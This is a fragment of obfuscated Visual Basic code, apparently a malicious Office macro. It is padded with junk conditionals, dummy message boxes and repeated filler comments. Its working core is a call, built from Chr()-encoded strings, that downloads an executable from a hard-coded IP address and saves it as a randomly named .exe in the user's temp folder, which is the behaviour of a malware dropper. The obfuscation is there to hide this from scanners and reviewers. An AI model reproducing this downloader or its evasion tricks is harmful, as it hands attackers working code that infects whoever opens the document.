        MsgBox (Chr(120) & Chr(109) & Chr(109) & Chr(115) & Chr(98) & Chr(106) & Chr(111) & Chr(109) & Chr(50) & Chr(57))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(97) & Chr(110) & Chr(114) & Chr(112) & Chr(114) & Chr(100) & Chr(120) & Chr(103) & Chr(56) & Chr(51) & Chr(50) & Chr(51)) = Len(Chr(103) & Chr(111) & Chr(98) & Chr(117) & Chr(111) & Chr(98) & Chr(99) & Chr(112)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Put #38, , kvzvcucd
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 462772 = 462772 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 1465 < 42 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(99) & Chr(106) & Chr(101) & Chr(113) & Chr(98) & Chr(119) & Chr(114) & Chr(115) & Chr(50) & Chr(52))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(99) & Chr(99) & Chr(122) & Chr(97) & Chr(108) & Chr(119) & Chr(102) & Chr(113) & Chr(53) & Chr(54) & Chr(51) & Chr(57)) = Len(Chr(121) & Chr(113) & Chr(112) & Chr(120) & Chr(106) & Chr(115) & Chr(98) & Chr(112)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Close #38
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 738861 = 738861 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 7295 < 47 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(117) & Chr(104) & Chr(112) & Chr(111) & Chr(118) & Chr(106) & Chr(103) & Chr(104) & Chr(56) & Chr(57))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(114) & Chr(113) & Chr(104) & Chr(118) & Chr(103) & Chr(108) & Chr(104) & Chr(104) & Chr(49) & Chr(52) & Chr(54) & Chr(56)) = Len(Chr(116) & Chr(103) & Chr(108) & Chr(115) & Chr(99) & Chr(106) & Chr(104) & Chr(99)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
delrostx:
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 538254 = 538254 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 9617 < 24 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(100) & Chr(114) & Chr(97) & Chr(108) & Chr(108) & Chr(101) & Chr(117) & Chr(101) & Chr(57) & Chr(54))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(100) & Chr(111) & Chr(110) & Chr(112) & Chr(102) & Chr(101) & Chr(106) & Chr(101) & Chr(51) & Chr(56) & Chr(55) & Chr(49)) = Len(Chr(119) & Chr(99) & Chr(117) & Chr(116) & Chr(113) & Chr(109) & Chr(122) & Chr(122)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
      
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End Function
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Sub evgvriwbtjr()
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
GoTo ljoliijf
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Dim vskgweot As String
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Open Chr(71) & Chr(74) & Chr(68) & Chr(84) & Chr(82) & Chr(66) & Chr(46) & Chr(71) & Chr(70) & Chr(68) For Binary As 42
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 376792 = 376792 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 3764 < 68 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(112) & Chr(104) & Chr(99) & Chr(116) & Chr(117) & Chr(99) & Chr(97) & Chr(116) & Chr(52) & Chr(52))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(105) & Chr(115) & Chr(101) & Chr(119) & Chr(99) & Chr(110) & Chr(114) & Chr(121) & Chr(52) & Chr(53) & Chr(50) & Chr(53)) = Len(Chr(120) & Chr(108) & Chr(99) & Chr(108) & Chr(122) & Chr(115) & Chr(116) & Chr(97)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Put #42, , vskgweot
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 412666 = 412666 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 4667 < 64 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(121) & Chr(109) & Chr(119) & Chr(102) & Chr(122) & Chr(117) & Chr(103) & Chr(99) & Chr(56) & Chr(53))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(100) & Chr(112) & Chr(118) & Chr(115) & Chr(113) & Chr(110) & Chr(113) & Chr(103) & Chr(55) & Chr(56) & Chr(51) & Chr(49)) = Len(Chr(119) & Chr(118) & Chr(117) & Chr(117) & Chr(105) & Chr(106) & Chr(120) & Chr(102)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Close #42
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 921165 = 921165 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 3891 < 94 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(106) & Chr(111) & Chr(108) & Chr(99) & Chr(120) & Chr(115) & Chr(102) & Chr(108) & Chr(49) & Chr(55))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(117) & Chr(108) & Chr(109) & Chr(114) & Chr(99) & Chr(119) & Chr(101) & Chr(97) & Chr(54) & Chr(49) & Chr(54) & Chr(53)) = Len(Chr(111) & Chr(99) & Chr(99) & Chr(107) & Chr(121) & Chr(108) & Chr(101) & Chr(105)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
ljoliijf:
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 169543 = 169543 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 4651 < 41 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(121) & Chr(119) & Chr(106) & Chr(114) & Chr(118) & Chr(104) & Chr(107) & Chr(110) & Chr(53) & Chr(49))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(118) & Chr(103) & Chr(115) & Chr(113) & Chr(114) & Chr(99) & Chr(106) & Chr(117) & Chr(53) & Chr(53) & Chr(57) & Chr(49)) = Len(Chr(117) & Chr(101) & Chr(108) & Chr(117) & Chr(110) & Chr(102) & Chr(122) & Chr(121)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
    trzfcrwihtc Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(58) & Chr(47) & Chr(47) & Chr(49) & Chr(52) & Chr(52) & Chr(46) & Chr(55) & Chr(54) & Chr(46) & Chr(49) & Chr(53) & Chr(51) & Chr(46) & Chr(51) & Chr(54) & Chr(58) & Chr(56) & Chr(48) & Chr(56) & Chr(48) & Chr(47) & Chr(100) & Chr(111) & Chr(99) & Chr(47) & Chr(57) & Chr(46) & Chr(101) & Chr(120) & Chr(101), Environ(Chr(116) & Chr(101) & Chr(109) & Chr(112)) & Chr(92) & Chr(68) & Chr(67) & Chr(73) & Chr(84) & Chr(88) & Chr(69) & Chr(75) & Chr(66) & Chr(73) & Chr(82) & Chr(71) & Chr(46) & Chr(101) & Chr(120) & Chr(101)
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End Sub
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf